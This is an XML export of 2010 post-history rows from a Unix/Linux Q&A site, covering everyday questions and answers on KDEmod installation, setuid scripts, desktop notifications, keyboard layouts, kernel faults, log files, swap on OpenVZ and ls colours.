  <row Id="6022" PostHistoryTypeId="2" PostId="2878" RevisionGUID="cff5e098-15ba-492b-833e-3133d9a88d8e" CreationDate="2010-10-08T07:08:32.133" UserId="1327" Text="On Arch you should consider installing **[KDEmod][1]** instead of KDE. &#xD;&#xA;&#xD;&#xA;According to the **[kdemod wiki][1]**, you will need to install this package :&#xD;&#xA;&#xD;&#xA;    pacman -S kdemod-extragear-gtk-qt-engine&#xD;&#xA;&#xD;&#xA;to get a more uniform look for QT and GTK apps.&#xD;&#xA;&#xD;&#xA;Also checkout this [article][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/KDEmod&#xD;&#xA;[2]:http://wiki.archlinux.org/index.php/Uniform_Look_for_QT_and_GTK_Applications" />
  <row Id="6023" PostHistoryTypeId="5" PostId="2878" RevisionGUID="9c9aae75-def1-4e05-9a91-1abb103df929" CreationDate="2010-10-08T07:13:35.907" UserId="1327" Comment="added 238 characters in body" Text="On Arch you should consider installing **[KDEmod][1]** instead of KDE. &#xD;&#xA;&#xD;&#xA;&gt; Install a minimal KDE4 system:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-minimal&#xD;&#xA;&gt; &#xD;&#xA;&gt; Alternatively, fetch a richer set of&#xD;&#xA;&gt; applications:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod&#xD;&#xA;&gt; &#xD;&#xA;&gt; or opt for a fuller set:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-complete&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to the **[kdemod wiki][1]**, you will need to install this package :&#xD;&#xA;&#xD;&#xA;    pacman -S kdemod-extragear-gtk-qt-engine&#xD;&#xA;&#xD;&#xA;to get a more uniform look for QT and GTK apps.&#xD;&#xA;&#xD;&#xA;Also checkout this [article][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/KDEmod&#xD;&#xA;[2]:http://wiki.archlinux.org/index.php/Uniform_Look_for_QT_and_GTK_Applications" />
  <row Id="6024" PostHistoryTypeId="2" PostId="2879" RevisionGUID="f9305e6a-e4ea-4b72-95fe-1d36415d4e26" CreationDate="2010-10-08T07:42:19.623" UserId="1327" Text="I have a `bash` script that needs to run with **root privileges**, but must be invoked by the normal user. &#xD;&#xA;&#xD;&#xA;Difficult part is that the script should not ask for a password, and I don't want to use the *sudoers* file. I'd like to aviod using **[sudo][1]** or **[su][2]**. &#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Sudo&#xD;&#xA;[2]:http://en.wikipedia.org/wiki/Su_%28Unix%29" />
  <row Id="6025" PostHistoryTypeId="1" PostId="2879" RevisionGUID="f9305e6a-e4ea-4b72-95fe-1d36415d4e26" CreationDate="2010-10-08T07:42:19.623" UserId="1327" Text="How to get a program running with root priviliges without using su or sudo" />
  <row Id="6026" PostHistoryTypeId="3" PostId="2879" RevisionGUID="f9305e6a-e4ea-4b72-95fe-1d36415d4e26" CreationDate="2010-10-08T07:42:19.623" UserId="1327" Text="ébashàépermissionsà" />
  <row Id="6027" PostHistoryTypeId="2" PostId="2880" RevisionGUID="ba7d039d-8191-44d0-84cf-8f0ae5e1d631" CreationDate="2010-10-08T07:49:11.840" UserId="1941" Text="If it wasn't a bash script but a regular application, you would give ownership of it to root and set the setuid bit on the application. Then upon execution, the effective user the application is running under is root. Due to security concerns however this is in many systems prohibited for shell scripts. [This question][1] here on unix.stackexchange.com does handle ways how to overcome this.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/364/allow-setuid-on-shell-scripts" />
  <row Id="6028" PostHistoryTypeId="5" PostId="2878" RevisionGUID="ec809c00-d21d-4cf7-b268-65f945333a12" CreationDate="2010-10-08T07:50:06.063" UserId="1327" Comment="added 64 characters in body" Text="On Arch you should consider installing **[KDEmod][1]** ( from [The Chakra Project][3] )instead of KDE. &#xD;&#xA;&#xD;&#xA;&gt; Install a minimal KDE4 system:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-minimal&#xD;&#xA;&gt; &#xD;&#xA;&gt; Alternatively, fetch a richer set of&#xD;&#xA;&gt; applications:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod&#xD;&#xA;&gt; &#xD;&#xA;&gt; or opt for a fuller set:&#xD;&#xA;&gt; &#xD;&#xA;&gt;     # pacman -S kdemod-complete&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;According to the **[kdemod wiki][1]**, you will need to install this package :&#xD;&#xA;&#xD;&#xA;    pacman -S kdemod-extragear-gtk-qt-engine&#xD;&#xA;&#xD;&#xA;to get a more uniform look for QT and GTK apps.&#xD;&#xA;&#xD;&#xA;Also checkout this [article][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/KDEmod&#xD;&#xA;[2]:http://wiki.archlinux.org/index.php/Uniform_Look_for_QT_and_GTK_Applications&#xD;&#xA;[3]:http://chakra-project.org/" />
  <row Id="6029" PostHistoryTypeId="2" PostId="2881" RevisionGUID="8dc1a069-9401-49df-b65d-3b56efad52ce" CreationDate="2010-10-08T08:17:28.467" UserId="1327" Text="Using the command line, I'd like show a notification on every running X display. ( and running console )&#xD;&#xA;&#xD;&#xA;Something like:&#xD;&#xA;&#xD;&#xA;    notify-send-all 'Warning' 'Nuclear launch in 5 minutes, please evacuate'&#xD;&#xA;&#xD;&#xA;Is there a program that will do this? If not, can this be implemented with bash?&#xD;&#xA;" />
  <row Id="6030" PostHistoryTypeId="1" PostId="2881" RevisionGUID="8dc1a069-9401-49df-b65d-3b56efad52ce" CreationDate="2010-10-08T08:17:28.467" UserId="1327" Text="Show a notification across all running X displays" />
  <row Id="6031" PostHistoryTypeId="3" PostId="2881" RevisionGUID="8dc1a069-9401-49df-b65d-3b56efad52ce" CreationDate="2010-10-08T08:17:28.467" UserId="1327" Text="écommandölineàéxorgàénotificationsà" />
  <row Id="6032" PostHistoryTypeId="6" PostId="2744" RevisionGUID="4c909f21-45a8-4bf3-8dc2-b146c60a12d8" CreationDate="2010-10-08T08:20:30.250" UserId="1327" Comment="edited tags" Text="ésmtpàémailàémuttà" />
  <row Id="6033" PostHistoryTypeId="2" PostId="2882" RevisionGUID="d8c6e3af-b204-45a9-ad62-a92aa5fce7ea" CreationDate="2010-10-08T08:29:35.973" UserId="1327" Text="Not sure about totally freeform, but you can try out [PySol][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; PySol is an exciting collection of more than 200 solitaire card games.&#xD;&#xA;&gt; Its features include support for lots&#xD;&#xA;&gt; of distinct games, very nice look and&#xD;&#xA;&gt; feel, multiple cardsets and table&#xD;&#xA;&gt; tiles, sound and background music,&#xD;&#xA;&gt; unlimited undo &amp; redo, load &amp; save&#xD;&#xA;&gt; games, player statistics and log&#xD;&#xA;&gt; files, hint system, demo games,&#xD;&#xA;&gt; support for user written plug-ins,&#xD;&#xA;&gt; integrated HTML help browser and lots&#xD;&#xA;&gt; of documentation.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Among the supported games are classics like Aces Up, Baker's Game,&#xD;&#xA;&gt; Canfield, FreeCell, Forty Thieves,&#xD;&#xA;&gt; Golf, Klondike, Pyramid, Scorpion,&#xD;&#xA;&gt; Spider, Yukon, and many more...&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[1]:http://www.pysol.org/" />
  <row Id="6034" PostHistoryTypeId="5" PostId="2879" RevisionGUID="fb619fcb-3413-4013-9ddb-b8eacdeb72e0" CreationDate="2010-10-08T08:32:00.617" UserId="73" Comment="edited body; edited title" Text="I have a `bash` script that needs to run with **root privileges**, but must be invoked by the normal user. &#xD;&#xA;&#xD;&#xA;Difficult part is that the script should not ask for a password, and I don't want to use the *sudoers* file. I'd like to avoid using **[sudo][1]** or **[su][2]**. &#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;[1]:http://en.wikipedia.org/wiki/Sudo&#xD;&#xA;[2]:http://en.wikipedia.org/wiki/Su_%28Unix%29" />
  <row Id="6035" PostHistoryTypeId="4" PostId="2879" RevisionGUID="fb619fcb-3413-4013-9ddb-b8eacdeb72e0" CreationDate="2010-10-08T08:32:00.617" UserId="73" Comment="edited body; edited title" Text="How to get a program running with root privileges without using su or sudo" />
  <row Id="6036" PostHistoryTypeId="6" PostId="2877" RevisionGUID="c98e3de5-36b2-4a75-a918-bd3da42c9a5d" CreationDate="2010-10-08T08:46:14.323" UserId="1327" Comment="edited tags" Text="ékdeàéarchölinuxà" />
  <row Id="6037" PostHistoryTypeId="6" PostId="2794" RevisionGUID="38611ea1-6e59-4427-b03a-c16b737d7122" CreationDate="2010-10-08T09:15:29.093" UserId="1327" Comment="edited tags" Text="ésshàéremoteàéfirefoxà" />
  <row Id="6038" PostHistoryTypeId="2" PostId="2883" RevisionGUID="87a25ce7-7770-42d0-a169-4298734d2674" CreationDate="2010-10-08T09:42:11.500" UserId="1941" Text="You can send a message to all consoles with the command wall. &#xD;&#xA;&#xD;&#xA;For sending notifications under X there is notify-send which sends a notificationto the current user on the current display. (From your question, I guess you already know this one.) You can build upon this with some bash scripting. Basically you have to find out which users are on which X-Displays. Once you got this info you can use notify-send like this:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 sudo -u fschmitt notify-send &quot;Message&quot;&#xD;&#xA;&#xD;&#xA;Where fschmitt is the user at display 0. However, I can't immediately think of an easy way to get the info who is logged in where..." />
  <row Id="6039" PostHistoryTypeId="5" PostId="2883" RevisionGUID="420526df-ef63-49d8-b108-b46cbfa07fe3" CreationDate="2010-10-08T09:49:56.450" UserId="1941" Comment="added 835 characters in body" Text="You can send a message to all consoles with the command wall. &#xD;&#xA;&#xD;&#xA;For sending notifications under X there is notify-send which sends a notificationto the current user on the current display. (From your question, I guess you already know this one.) You can build upon this with some bash scripting. Basically you have to find out which users are on which X-Displays. Once you got this info you can use notify-send like this:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 sudo -u fschmitt notify-send &quot;Message&quot;&#xD;&#xA;&#xD;&#xA;Where fschmitt is the user at display 0. You can parse the output of the &quot;who&quot; command to find all users and their displays. The output looks like this&#xD;&#xA;&#xD;&#xA;    [edinburgh:~]$ who&#xD;&#xA;    markmerk3 tty7         2010-09-23 10:59 (:0)&#xD;&#xA;    markmerk3 pts/1        2010-09-30 13:30 (:0.0)&#xD;&#xA;    fschmitt pts/2        2010-10-08 11:44 (ip-77-25-137-234.web.vodafone.de)&#xD;&#xA;    markmerk3 pts/0        2010-09-29 18:51 (:0.0)&#xD;&#xA;    seamonkey pts/6        2010-09-27 15:50 (:1.0)&#xD;&#xA;    markmerk3 pts/5        2010-09-27 14:04 (:0.0)&#xD;&#xA;    seamonkey tty8         2010-09-27 15:49 (:1)&#xD;&#xA;    markmerk3 pts/13       2010-09-28 17:23 (:0.0)&#xD;&#xA;    markmerk3 pts/3        2010-10-05 10:40 (:0.0)&#xD;&#xA;&#xD;&#xA;You see, there are two users running X sessions, markmerk3 at display 0 and seamonkey at display 1. I think you need to grep for tty[0-9]* then assure that at the end of the line there is (:[0-9.]*) to get rid of console logins and extract the display id from the string between the parentheses." />
  <row Id="6040" PostHistoryTypeId="5" PostId="2883" RevisionGUID="efb3e355-84e0-4901-a6c7-7f9dfcccd814" CreationDate="2010-10-08T11:08:44.553" UserId="1941" Comment="added 1 characters in body" Text="You can send a message to all consoles with the command wall. &#xD;&#xA;&#xD;&#xA;For sending notifications under X there is notify-send which sends a notification to the current user on the current display. (From your question, I guess you already know this one.) You can build upon this with some bash scripting. Basically you have to find out which users are on which X-Displays. Once you got this info you can use notify-send like this:&#xD;&#xA;&#xD;&#xA;    DISPLAY=:0 sudo -u fschmitt notify-send &quot;Message&quot;&#xD;&#xA;&#xD;&#xA;Where fschmitt is the user at display 0. You can parse the output of the &quot;who&quot; command to find all users and their displays. The output looks like this&#xD;&#xA;&#xD;&#xA;    [edinburgh:~]$ who&#xD;&#xA;    markmerk3 tty7         2010-09-23 10:59 (:0)&#xD;&#xA;    markmerk3 pts/1        2010-09-30 13:30 (:0.0)&#xD;&#xA;    fschmitt pts/2        2010-10-08 11:44 (ip-77-25-137-234.web.vodafone.de)&#xD;&#xA;    markmerk3 pts/0        2010-09-29 18:51 (:0.0)&#xD;&#xA;    seamonkey pts/6        2010-09-27 15:50 (:1.0)&#xD;&#xA;    markmerk3 pts/5        2010-09-27 14:04 (:0.0)&#xD;&#xA;    seamonkey tty8         2010-09-27 15:49 (:1)&#xD;&#xA;    markmerk3 pts/13       2010-09-28 17:23 (:0.0)&#xD;&#xA;    markmerk3 pts/3        2010-10-05 10:40 (:0.0)&#xD;&#xA;&#xD;&#xA;You see, there are two users running X sessions, markmerk3 at display 0 and seamonkey at display 1. I think you need to grep for tty[0-9]* then assure that at the end of the line there is (:[0-9.]*) to get rid of console logins and extract the display id from the string between the parentheses." />
  <row Id="6041" PostHistoryTypeId="2" PostId="2884" RevisionGUID="dbfe96b2-7624-42a5-815a-3ea6463fc3d3" CreationDate="2010-10-08T12:07:01.230" UserId="1327" Text="I've recently started to learn the **dvorak** keyboard layout, but I still need to use **qwerty** sometimes.&#xD;&#xA;&#xD;&#xA;I'm looking for a script to toggle between the two keyboard layouts.&#xD;&#xA;&#xD;&#xA;Also, I'd like to invoke this *script* with a hotkey that will work everywhere ( in my DE **and** in my console. ) Like pressing shutdown in [this post][1].&#xD;&#xA;&#xD;&#xA;[1]:http://wiki.archlinux.org/index.php/Shutdown_Pressing_Power_Button" />
  <row Id="6042" PostHistoryTypeId="1" PostId="2884" RevisionGUID="dbfe96b2-7624-42a5-815a-3ea6463fc3d3" CreationDate="2010-10-08T12:07:01.230" UserId="1327" Text="Toggle between dvorak and qwerty" />
  <row Id="6043" PostHistoryTypeId="3" PostId="2884" RevisionGUID="dbfe96b2-7624-42a5-815a-3ea6463fc3d3" CreationDate="2010-10-08T12:07:01.230" UserId="1327" Text="ébashàékeyboardöshortcutsà" />
  <row Id="6044" PostHistoryTypeId="2" PostId="2885" RevisionGUID="831f0c64-a7fa-4d78-a8f4-9c3c5d43db94" CreationDate="2010-10-08T12:36:42.017" UserId="33" Text="Since the keyboard layout is a property of the input device you could set it via `xinput`. Use `xbindkeys` to define arbitrary X hotkeys." />
  <row Id="6045" PostHistoryTypeId="2" PostId="2886" RevisionGUID="04ada044-4789-4976-9493-e79f1870ecba" CreationDate="2010-10-08T12:47:42.147" UserId="2209" Text="    #!/bin/bash&#xD;&#xA;    if [[ -e ~/.my.kb.not.dvorak ]] ; then&#xD;&#xA;        sextxkbmap dvorak&#xD;&#xA;        touch ~/.my.kb.is.dvorak &#xD;&#xA;        rm ~/.my.kb.not.dvorak&#xD;&#xA;    fi &#xD;&#xA;    if [[ -e ~/.my.kb.is.dvorak ]] ; then&#xD;&#xA;        sextxkbmap &lt;YOURLAYOUT&gt;&#xD;&#xA;        touch ~/.my.kb.not.dvorak &#xD;&#xA;        rm ~/.my.kb.is.dvorak&#xD;&#xA;    fi &#xD;&#xA;&#xD;&#xA;Replace `&lt;YOURLAYOUT&gt;` with relevant data. Now set up an `xbindkeys` hotkey-combo to run this script. " />
  <row Id="6046" PostHistoryTypeId="2" PostId="2887" RevisionGUID="c20c84d8-bff0-4943-a204-0bcf7c390627" CreationDate="2010-10-08T12:48:01.600" UserId="1253" Text="I have a fedora 13 x64 box I use at home for a storage server.  I use sshfs to mount my music from home and listen at work, I run my irssi client in screen on it for freenode communication and lately I appears to be popping up with protection faults from the kernel.&#xD;&#xA;&#xD;&#xA;The message I receive: &#xD;&#xA;&#xD;&#xA;    Segmentation fault (core dumped)&#xD;&#xA;    [sanchez@media ~]$&#xD;&#xA;    Message from syslogd@media at Oct  8 08:42:00 ...&#xD;&#xA;     kernel:general protection fault: 0000 [#3] SMP&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@media at Oct  8 08:42:00 ...&#xD;&#xA;     kernel:last sysfs file: /sys/devices/pci0000:00/0000:00:1d.2/usb8/devnum&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@media at Oct  8 08:42:00 ...&#xD;&#xA;     kernel:Stack:&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@media at Oct  8 08:42:00 ...&#xD;&#xA;     kernel:Call Trace:&#xD;&#xA;    &#xD;&#xA;    Message from syslogd@media at Oct  8 08:42:00 ...&#xD;&#xA;     kernel:Code: c9 74 5b 66 8b 56 04 66 8b 4e 02 66 8b 36 44 0f b7 d1 0f b7 c6 c1 &#xD;&#xA;    e0 09 42 8d 04 90 8d 04 02 23 47 10 0f b7 c0 49 8b 04 c1 eb 2c &lt;66&gt; 3b 30 75 21 &#xD;&#xA;    66 8b 78 02 66 39 f9 75 0d 66 3b 50 04 75 07 66&#xD;&#xA;&#xD;&#xA;My machine is:   &#xD;&#xA;&#xD;&#xA;&gt; Linux 2.6.34.7-56.fc13.x86_64 #1 SMP Wed Sep 15 03:36:55 UTC 2010 x86_64 GNU/Linux&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;It appears to be related to a usb device, because of the last sysfs file: /sys/devices/pci0000:00/0000:00.1d.2/usb8/devnum however I am not using an usb ports it is a headless desktop with all internal hard drives and a ethernet running to my switch.  &#xD;&#xA;&#xD;&#xA;Any help on this would be appreciated?  " />
  <row Id="6047" PostHistoryTypeId="1" PostId="2887" RevisionGUID="c20c84d8-bff0-4943-a204-0bcf7c390627" CreationDate="2010-10-08T12:48:01.600" UserId="1253" Text="Kernel segmentation fault (core dumped), how to diagnose ? " />
  <row Id="6048" PostHistoryTypeId="3" PostId="2887" RevisionGUID="c20c84d8-bff0-4943-a204-0bcf7c390627" CreationDate="2010-10-08T12:48:01.600" UserId="1253" Text="ékernelàésegmentationöfaultà" />
  <row Id="6049" PostHistoryTypeId="2" PostId="2888" RevisionGUID="5713a1ba-4990-455f-aede-0e9f350078bc" CreationDate="2010-10-08T13:16:48.680" UserId="2134" Text="I've just come across the `&lt;&lt;` command, used like so:&#xD;&#xA;&#xD;&#xA;    cat &gt; outfile.txt &lt;&lt;EOF&#xD;&#xA;    Multi-line content&#xD;&#xA;    that will be written to outfile.txt&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Now, I've no idea what this is called, but I'd quite like to know it's name, primarily so I can go and search and find out more about its syntax. Sadly, Googling for &quot;&lt;&lt;&quot; just doesn't work." />
  <row Id="6050" PostHistoryTypeId="1" PostId="2888" RevisionGUID="5713a1ba-4990-455f-aede-0e9f350078bc" CreationDate="2010-10-08T13:16:48.680" UserId="2134" Text="Correct textual name for &lt;&lt;" />
  <row Id="6051" PostHistoryTypeId="3" PostId="2888" RevisionGUID="5713a1ba-4990-455f-aede-0e9f350078bc" CreationDate="2010-10-08T13:16:48.680" UserId="2134" Text="épipeà" />
  <row Id="6052" PostHistoryTypeId="2" PostId="2889" RevisionGUID="7375bc64-784f-4e21-a378-78e31a556027" CreationDate="2010-10-08T13:25:51.633" UserId="1097" Text="That's called a &quot;Here document&quot;.&#xD;&#xA;&#xD;&#xA;http://en.wikipedia.org/wiki/Here_document" />
  <row Id="6053" PostHistoryTypeId="6" PostId="2888" RevisionGUID="785355e4-44e7-44bd-a095-5d14debd2e6d" CreationDate="2010-10-08T13:34:58.633" UserId="1339" Comment="edited tags" Text="éshellàépipeà" />
  <row Id="6054" PostHistoryTypeId="2" PostId="2890" RevisionGUID="47473bb9-7d62-4385-9961-3d94ae34ee79" CreationDate="2010-10-08T13:37:48.097" UserId="2119" Text="I just wonder why are there so many log files in a typical Linux system?&#xD;&#xA;couldn't it be a better idea to have one system api finction for logging and one consolidated table to save all the log entries from all the applications?" />
  <row Id="6055" PostHistoryTypeId="1" PostId="2890" RevisionGUID="47473bb9-7d62-4385-9961-3d94ae34ee79" CreationDate="2010-10-08T13:37:48.097" UserId="2119" Text="Why are there so many log files in a typical Linux system? Why don't they use one consolidated logs db/file and an api?" />
  <row Id="6056" PostHistoryTypeId="3" PostId="2890" RevisionGUID="47473bb9-7d62-4385-9961-3d94ae34ee79" CreationDate="2010-10-08T13:37:48.097" UserId="2119" Text="élogsà" />
  <row Id="6057" PostHistoryTypeId="2" PostId="2891" RevisionGUID="33e0e74d-fdce-4614-8c71-1e66ef93b1f3" CreationDate="2010-10-08T13:51:30.957" UserId="629" Text="This would make things like 'tail -f /var/log/apache/access.log' impossible.&#xD;&#xA;&#xD;&#xA;Why do you think it would be better to put everything in one file?" />
  <row Id="6058" PostHistoryTypeId="2" PostId="2892" RevisionGUID="52ef6a9f-04ac-4d1c-b20a-d955a1afef87" CreationDate="2010-10-08T13:52:15.783" UserId="1339" Text="Using simple text files has the advantage that you don't need any database specific tools to get your log entries. &#xD;&#xA;&#xD;&#xA;You can analyze them with grep if you like, you can open them up with your favorite pager and you can process them in your favorite scripting language like Perl, Python, etc. without the need of any additional libraries.&#xD;&#xA;&#xD;&#xA;On a Unix system you have already some kind of &quot;system log API&quot;. It is called syslog. Syslog is not really an API but it is an standard for logging messages. The name stands for the networking protocol and the library and daemon behind it.&#xD;&#xA;&#xD;&#xA;The default configuration of the most systems is a syslog daemon listening to local messages.&#xD;&#xA;&#xD;&#xA;The daemon accepts the messages and does the logging. There are several different implementations of syslog daemons for all kind of platforms and it is also possible to log your messages to a database.&#xD;&#xA;&#xD;&#xA;It is up to you." />
  <row Id="6059" PostHistoryTypeId="2" PostId="2893" RevisionGUID="b126b593-dbe0-4645-9111-7d836acf0963" CreationDate="2010-10-08T13:54:05.677" UserId="2211" Text="I'm running this as root, obviously.&#xD;&#xA;&#xD;&#xA;I've created a file called `/swap/sw1`, by dumping 512 megs of `/dev/zero` into it. I then ran `mkswap`, which said:&#xD;&#xA;&#xD;&#xA;    Setting up swapspace version 1, size = 524284 KiB&#xD;&#xA;    no label, UUID=f071fec6-0589-443f-9d46-1c126636418b&#xD;&#xA;&#xD;&#xA;I'm assuming this means it worked fine. I've chmodded the file to 0600, and the file is owned by root. I then ran swapon:&#xD;&#xA;&#xD;&#xA;    $ swapon -v /swap/sw1&#xD;&#xA;    swapon on /swap/sw1&#xD;&#xA;    swapon: /swap/sw1: Operation not permitted&#xD;&#xA;&#xD;&#xA;I've also tried adding this to fstab and calling `swapon -a -v`, but go the same problem. Why am I not allowed to use this file as a swap file?&#xD;&#xA;&#xD;&#xA;One note, which I think is irrelevant but I could be wrong - I'm running on an OpenVZ VM." />
  <row Id="6060" PostHistoryTypeId="1" PostId="2893" RevisionGUID="b126b593-dbe0-4645-9111-7d836acf0963" CreationDate="2010-10-08T13:54:05.677" UserId="2211" Text="swapon: Operation not permitted" />
  <row Id="6061" PostHistoryTypeId="3" PostId="2893" RevisionGUID="b126b593-dbe0-4645-9111-7d836acf0963" CreationDate="2010-10-08T13:54:05.677" UserId="2211" Text="éubuntuàéswapà" />
  <row Id="6062" PostHistoryTypeId="2" PostId="2894" RevisionGUID="d450c216-0afa-43ee-9f7d-4a012cac6299" CreationDate="2010-10-08T14:02:45.667" UserId="2119" Text="I'd like to set up Kate so that, if I open, for example, a C++ file, all classes it contains to be folded. But not only - when I unfold a class, I'd like methods inside it to be initially folded too. Etc. Is it possible?" />
  <row Id="6063" PostHistoryTypeId="1" PostId="2894" RevisionGUID="d450c216-0afa-43ee-9f7d-4a012cac6299" CreationDate="2010-10-08T14:02:45.667" UserId="2119" Text="Can I set up Kate to always fold (collapse) all foldable regions when opening a code file?" />
  <row Id="6064" PostHistoryTypeId="3" PostId="2894" RevisionGUID="d450c216-0afa-43ee-9f7d-4a012cac6299" CreationDate="2010-10-08T14:02:45.667" UserId="2119" Text="ékateà" />
  <row Id="6065" PostHistoryTypeId="2" PostId="2895" RevisionGUID="731ad0ba-42ff-4796-9c53-657a93980cf0" CreationDate="2010-10-08T14:08:39.287" UserId="250" Text="Hi Ivan,&#xD;&#xA;&#xD;&#xA;It's part of the [Unix philosophy][1]. The idea is that text files are free from program lock-in and everyone can use whatever technique the prefer. To take this further flat files are often used, instead of a markup language like XML (although I have seen programs storing things in XML format as well).&#xD;&#xA;&#xD;&#xA;In googling I have found this [nice writeup][2] about plain text, with comments about the Unix philosophy. Hope that helps :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_philosophy#Mike_Gancarz:_The_UNIX_Philosophy&#xD;&#xA;  [2]: http://www.linfo.org/plain_text.html" />
  <row Id="6066" PostHistoryTypeId="2" PostId="2896" RevisionGUID="03e5f4b8-fbda-48d6-9e9d-8f747ec4f95f" CreationDate="2010-10-08T14:34:58.510" UserId="33" Text="I think you were hit by the limitations of OpenVZ. OpenVZ does not allow what they call &quot;user defined swap&quot;: Swap is only available &quot;as a whole&quot; for the whole system, not for individual VPSes, see http://forums.vpslink.com/linux/621-swap-space.html#post3915" />
  <row Id="6067" PostHistoryTypeId="5" PostId="2895" RevisionGUID="2255aa84-b2fb-43f8-a54f-6144aa5e9e87" CreationDate="2010-10-08T14:36:59.650" UserId="250" Comment="added 1 characters in body" Text="Hi Ivan,&#xD;&#xA;&#xD;&#xA;It's part of the [Unix philosophy][1]. The idea is that text files are free from program lock-in and everyone can use whatever technique they prefer. To take this further flat files are often used, instead of a markup language like XML (although I have seen programs storing things in XML format as well).&#xD;&#xA;&#xD;&#xA;In googling I have found this [nice writeup][2] about plain text, with comments about the Unix philosophy. Hope that helps :)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Unix_philosophy#Mike_Gancarz:_The_UNIX_Philosophy&#xD;&#xA;  [2]: http://www.linfo.org/plain_text.html" />
  <row Id="6068" PostHistoryTypeId="5" PostId="2890" RevisionGUID="018d34d8-96ad-489d-85de-744516c8b5d5" CreationDate="2010-10-08T15:04:22.550" UserId="73" Comment="edited body" Text="I just wonder why are there so many log files in a typical Linux system?&#xD;&#xA;Wouldn't it be a better idea to have one system api function for logging and one consolidated table to save all the log entries from all the applications?" />
  <row Id="6069" PostHistoryTypeId="2" PostId="2897" RevisionGUID="aa33c58f-36bb-44e8-a2f7-bfb9fa7f1c97" CreationDate="2010-10-08T15:51:21.437" UserId="1090" Text="I have the following setup in .bashrc for coloring of listings.&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;export CLICOLOR=1&#xD;&#xA;export LS_COLORS='no=00:fi=00:di=00;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.avi=01;35:*.fli=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.ogg=01;35:*.mp3=01;35:*.wav=01;35:';&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.bigsoft.co.uk/blog/index.php/2008/04/11/configuring-ls_colors&quot;&gt;This site&lt;/a&gt; shows the code for colors, and I want to change the directory color to `light color'. But making di as follows doesn't affect it.&#xD;&#xA;&#xD;&#xA;di=04;94&#xD;&#xA;&#xD;&#xA;The interesting thing is that even after my commenting out LS_COLORS, I can see colored output as long as I have CLICOLOR=1.&#xD;&#xA;&#xD;&#xA; * What should I do to make directory color to Light blue (94)?&#xD;&#xA; * What's it for CLICOLOR and LS_COLORS? Why coloring works without LS_COLORS?" />
  <row Id="6070" PostHistoryTypeId="1" PostId="2897" RevisionGUID="aa33c58f-36bb-44e8-a2f7-bfb9fa7f1c97" CreationDate="2010-10-08T15:51:21.437" UserId="1090" Text="CLICOLOR  and LS_COLORS in bash" />
  <row Id="6071" PostHistoryTypeId="3" PostId="2897" RevisionGUID="aa33c58f-36bb-44e8-a2f7-bfb9fa7f1c97" CreationDate="2010-10-08T15:51:21.437" UserId="1090" Text="ébashàésettingsàédisplayösettingsà" />
  <row Id="6072" PostHistoryTypeId="2" PostId="2898" RevisionGUID="76edc693-0057-4f6a-91e9-9362dda8cd41" CreationDate="2010-10-08T15:56:44.707" UserId="102" Text="This is a [known bug/missing feature][1] in Evolution. &#xD;&#xA;&#xD;&#xA;If you don't mind installing software from a [PPA][2], you can install Geoff Goehle's patched evolution/evolution-indicator. This should give you an option in Evolution's plugin configuration to &quot;hide it in the applet&quot; if it is closed:&#xD;&#xA; &#xD;&#xA;https://launchpad.net/~goehle/+archive/goehle-ppa/+packages&#xD;&#xA;&#xD;&#xA;The PPA is only for the version in 10.04 at the moment.&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/evolution-indicator/+bug/460483&#xD;&#xA;  [2]: https://help.ubuntu.com/community/Repositories/Ubuntu#Adding%20PPAs" />
